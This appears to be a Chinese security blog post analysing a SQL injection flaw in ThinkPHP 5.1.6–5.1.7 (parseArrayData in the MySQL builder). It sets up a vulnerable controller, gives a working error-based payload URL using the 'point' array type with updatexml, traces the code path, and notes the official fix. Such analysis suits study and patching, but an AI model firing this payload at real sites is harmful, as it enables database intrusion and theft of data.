TP5SQL注入漏洞分析(5.1.6-5.1.7)

ThinkPHP 漏洞分析代码审计

Word count: 533Reading time: 2 min

 2021/06/25   Share

参考学习连接

https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A52.md
漏洞简介
thinkphp/library/think/db/builder/Mysql.php中的parseArrayData没有对传入的数据进行过滤，导致可拼接sql语句，造成sql注入

配置

github上没有5.1.7了所以下的5.1.8
composer create-project --prefer-dist top/think=5.1.8 tpdemo
修改composer.json
"require": {
        "php": ">=5.6.0",
        "topthink/framework": "5.1.7"
    },
开启app_debug、app_trace,配置数据库
Index.php加入如下代码接收变量
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->where(['id' => 1])->update(['username' => $username]);
        return 'Update success';
    }
}
数据库插入
create database tpdemo;
use tpdemo;
create table users(
	id int primary key auto_increment,
	username varchar(50) not null
);
insert into users(id,username) values(1,'mochazz');

payload

1	http://localhost/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

20210625183254

漏洞分析

这个漏洞前半部分跟5.0.13-5.0.15，5.1.0-5.1.5的sql注入差不多，简单点理解，有问题的方法出现在parseArrayData

20210625185459
首先传入username数组，用$username接收，然后进入到Query类的update方法
20210625185636
这个where方法就是获取一些连接数据库的选项，没什么好说的，下面进入thinkphp/library/think/db/Connection.php的update方法
20210625185844
关键部分依旧在Builder的update方法,我们传入的数组此时在$this->options[‘data’]里面,跟进update方法
20210625190339
数据在$query的options['data']里面,调用了parseData方法,主要部分是下面的switch语句
20210625190612
val[0]就是我们传入的username[0],值为point，进入default分支，跟进parseArrayData方法
20210625190833
list函数用于把数组中的值赋给一组变量,此处type是point，value是1,进入switch的point分支，fun为updatexml(1,concat(0x7,user(),0x7e),1)^,point为0,通过result拼接为如下
20210625191308
层层返回，最终在thinkphp/library/think/db/Connection.php的execute方法处执行
20210625191727

总结图

sql2

修复方法

官方直接删除函数，从根上解决问题
20210625195002

Author：HacKerQWQ

原文链接：https://hackerqwq.github.io/2021/06/25/TP5SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-5-1-6-5-1-7/

发表日期：June 25th 2021, 4:46:47 pm

更新日期：June 30th 2021, 9:43:42 pm

Next Post

TP5SQL注入漏洞分析TP5全版本
Previous Post

TP5SQL注入漏洞分析(5.0.13-5.0.15,5.1.0-5.1.5)

CATALOG

1. 漏洞简介
2. 配置
3. payload
4. 漏洞分析
5. 总结图
6. 修复方法



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true

TP5SQL注入漏洞分析(5.1.6-5.1.7)

漏洞简介

配置

payload

漏洞分析

总结图

修复方法